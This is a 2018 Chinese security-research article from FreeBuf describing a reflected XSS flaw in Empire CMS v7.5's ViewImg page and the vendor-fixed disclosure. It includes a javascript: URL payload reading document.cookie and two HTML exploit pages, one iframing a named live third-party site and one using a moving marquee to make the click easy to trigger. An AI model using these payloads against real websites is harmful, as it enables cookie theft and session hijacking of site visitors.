代码审计 | Empire CMS v7.5前台XSS漏洞 – 作者:q601333824

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

*本文原创作者:q601333824,属于FreeBuf原创奖励计划,转载请注明来自FreeBuf.COM

概述

帝国CMS简称Empire CMS,当前的最新版本为7.5,前几天挖过一个该CMS的后台漏洞,最近也去挖了前台XSS,发现前台有一处过滤不完整导致的XSS漏洞。

相关环境

源码信息:EmpireCMS_7.5_SC_UT

漏洞类型:反射型XSS 

下载地址:http://www.phome.net/download/ 

漏洞文件:/e/ViewImg/index.html

漏洞分析

1、该文件不是PHP文件,只是普通html静态文件,但是其中有一段代码存在漏洞,代码大概的意思是通过Request函数获取地址栏的URL参数,并作为img和a标签的,src属性和href属性,然后经过document.write输出到页面。

image.png2、跟踪Request函数,该函数大概的流程,就是通过window.location获取当前地址,根据传入的url参数,获取当前地址url参数起始位置和结束位置。

例如,我的地址是:index.html?url=javascript:alert(document.cookie),经过处理之后得到javascript:alert(document.cookie)。

image.png

3、最后经过document.write函数输出到页面,得到a标签和img标签,并且href和src的值,就是返回的javascript:alert(document.cookie)。

image.png

4、根据触发规则,可以进行点击图片位置即可触发,网上找了两个网站实例。

image.png

image.png

利用方法

1、有人会说利用点太小了,不好触发,可以参考我以前某云提交的漏洞 WooYun-2014-73258,通过两次框架嵌套可以使XSS位置随意移动,方便触发。

http://wooyun.jozxing.cc/static/bugs/wooyun-2014-073258.html

2、详细利用代码如下,第一段代码,效果如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>中转</title> </head> <body> <iframe src="http://powerpigs.net/e/ViewImg/index.html?url=javascript:alert(/xss/)" height="100" width="1000" style="position:absolute; left:-490px; top:-0px;"></iframe> </body> </html>

image.png
3、第二段代码如下,嵌套前面的代码实现任意位置移动。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

    <title>存储型SS测试</title>

</head>

<body>

<marquee behavior="alternate">→→→→→→→→→→<iframe src="http://127.0.0.1/1.html" width="50" height="30" scrolling="no"></iframe>←←←←←←←←←←</marquee>

</body>

</html>

4、两段代码最终效果如下。

image.png
5、GIF动态测试效果如下,以前我觉得这种利用方法很逗比,但是现在我也觉得这种利用方法很逗B……

11.gif

总结

1、总的概括,漏洞内容就是,javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的,href属性和src属性输出。

2、至于利用方法,是几年前无聊想的,所以拿来用用。

*本文原创作者:q601333824,属于FreeBuf原创奖励计划,转载请注明来自FreeBuf.COM

来源:freebuf.com 2018-07-22 08:00:59 by: q601333824

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论